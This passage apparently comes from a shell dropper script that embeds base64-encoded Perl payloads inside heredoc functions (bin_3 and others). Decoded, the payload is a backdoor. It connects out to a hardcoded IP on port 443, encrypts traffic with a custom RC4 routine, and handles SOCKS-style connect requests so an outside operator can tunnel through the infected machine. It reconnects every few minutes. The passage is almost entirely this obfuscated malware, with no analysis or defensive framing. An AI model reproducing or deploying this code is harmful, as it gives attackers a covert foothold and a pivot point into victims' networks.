YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_3() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjInOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi 